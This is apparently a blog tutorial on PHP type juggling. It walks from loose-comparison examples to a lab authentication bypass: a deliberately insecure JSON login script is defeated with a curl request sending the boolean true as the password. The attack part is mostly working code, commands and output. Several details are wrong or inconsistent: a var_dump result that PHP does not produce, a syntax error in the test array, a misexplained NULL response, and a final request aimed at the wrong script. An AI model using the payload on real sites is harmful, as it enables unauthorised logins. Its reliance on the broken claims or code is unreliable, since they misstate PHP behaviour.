Type confusion occurs when a variable is treated as a type it wasn’t originally declared as. This can lead to software vulnerabilities.
PHP will automatically perform conversion from one data type to another based on context. This is referred to as type juggling.
In PHP == is used for loose comparison of variables. This means PHP will attempt to convert variables where is appears to make sense. For instance in the below code although $var2 is a string, PHP is converting this to the number zero for the sake of our comparison.
<?php
$var1 = 0;
$var2 = '0';
if ($var1 == $var2)
{ echo "Equal\n"; }
else
{ echo "Not equal\n"; }
?>
php confusion.php
Equal
Using strict comparison === , where type is take into account we can see the two values are not equal.
<?php
$var1 = 0;
$var2 = '0';
if ($var1 === $var2)
{ echo "Equal\n"; }
else
{ echo "Not equal\n"; }
?>
php confusion.php
Not equal
Authentication Bypass
Although type confusion is an issue in later versions of PHP, earlier versions were more prone to it’s effects. To demonstrate an authentication bypass, we’re using PHP version 7.2
root@ubuntu:~# php -v
PHP 7.2.24-0ubuntu0.18.04.17 (cli) (built: Feb 23 2023 13:29:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.24-0ubuntu0.18.04.17, Copyright (c) 1999-2018, by Zend Technologies
Let’s start with some simple authentication code, just checking a username and password based on a HTTP post request.
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == 'admin' && $password == '1234') {
echo "Login success!\n";
}
else
{
echo "Login failed!\n";
}
?>
A password of 0000 may be enough to bypass the login.
root@ubuntu:~# php -a
Interactive mode enabled
php > var_dump('1234' == 0000);
bool(true)
However, if we attempt to send this value using curl, we will see our login fails.
curl -d "username=admin&password=0000" -X POST http://127.0.0.1/login.php
Login failed!
This is because the 0000 value is being converted to a string, which will not match.
php > var_dump('admin' == '0000');
bool(false)
We need the ability to control the type of data being transmitted. This could occur if the code accepts a data format like JSON that allows defining the type. In the below example, JSON data is submitted to the server.
<?php
$post_data = file_get_contents("php://input");
var_dump(json_decode($post_data, true));
$data = json_decode($post_data, true);
if (isset($data['username']) || isset($data['password'])) {
if ($data['username'] == 'admin' && $data['password'] == '1234') {
echo "Login success!\n";
}
else
{
echo "Login failed!\n";
}
}
?>
Sending all zeros as JSON will also fail, since it will be truncated to a single 0.
curl -v --header 'content-type:application/json' -X POST --data '{"username":"admin","password":0000}' http://127.0.0.1/login2.php
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /login2.php HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.58.0
> Accept: */*
> content-type:application/json
> Content-Length: 36
>
* upload completely sent off: 36 out of 36 bytes
< HTTP/1.1 200 OK
< Server: Apache/2.4.29 (Ubuntu)
< Content-Length: 6
< Content-Type: text/html; charset=UTF-8
<
NULL
* Connection #0 to host 127.0.0.1 left intact
So we’re going to need to find a different value to collide with the password.
Let’s use the following PHP code to examine the potential values.
<?php
$target_value = '1234';
$values_to_test = [
0, // Integer 0
'0', // String '0'
'1234', // String '1234'
1234, // Integer 1234
'1234abc', // String with '1234abc'
0.0, // Float 0.0
null, // null value
true, // Boolean true
false, // Boolean false
[]. // Empty array
];
foreach ($values_to_test as $value) {
$result = ($target_value == $value);
echo "Comparing '1234' == ";
var_dump($value);
echo "Result: " . ($result ? 'true' : 'false') . "\n";
}
?>
Running the code, we can see that injecting the boolean value of true will be deemed equivalent to the password.
php compare.php
Comparing '1234' == int(0)
Result: false
Comparing '1234' == string(1) "0"
Result: false
Comparing '1234' == string(4) "1234"
Result: true
Comparing '1234' == int(1234)
Result: true
Comparing '1234' == string(7) "1234abc"
Result: false
Comparing '1234' == float(0)
Result: false
Comparing '1234' == NULL
Result: false
Comparing '1234' == bool(true)
Result: true
Comparing '1234' == bool(false)
Result: false
Comparing '1234' == array(0) {
}
Result: false
So, sending true using our curl command will result in us being logged into the web application.
curl -v --header 'content-type:application/json' -X POST --data '{"username":"admin","password": true}' http://127.0.0.1/login.php
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /login.php HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.58.0
> Accept: */*
> content-type:application/json
> Content-Length: 37
>
* upload completely sent off: 37 out of 37 bytes
< HTTP/1.1 200 OK
< Date: Fri, 24 Jan 2025 13:16:49 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 96
< Content-Type: text/html; charset=UTF-8
<
array(2) {
["username"]=>
string(5) "admin"
["password"]=>
bool(true)
}
Login success!
* Connection #0 to host 127.0.0.1 left intact
In Conclusion
PHP 7.4 introduced stricter typing features like typed properties, which help reduce some of the risk of type confusion. Although there were improvements in this regard vulnerabilities could still arise depending on the specific features in use and how the application handles user input.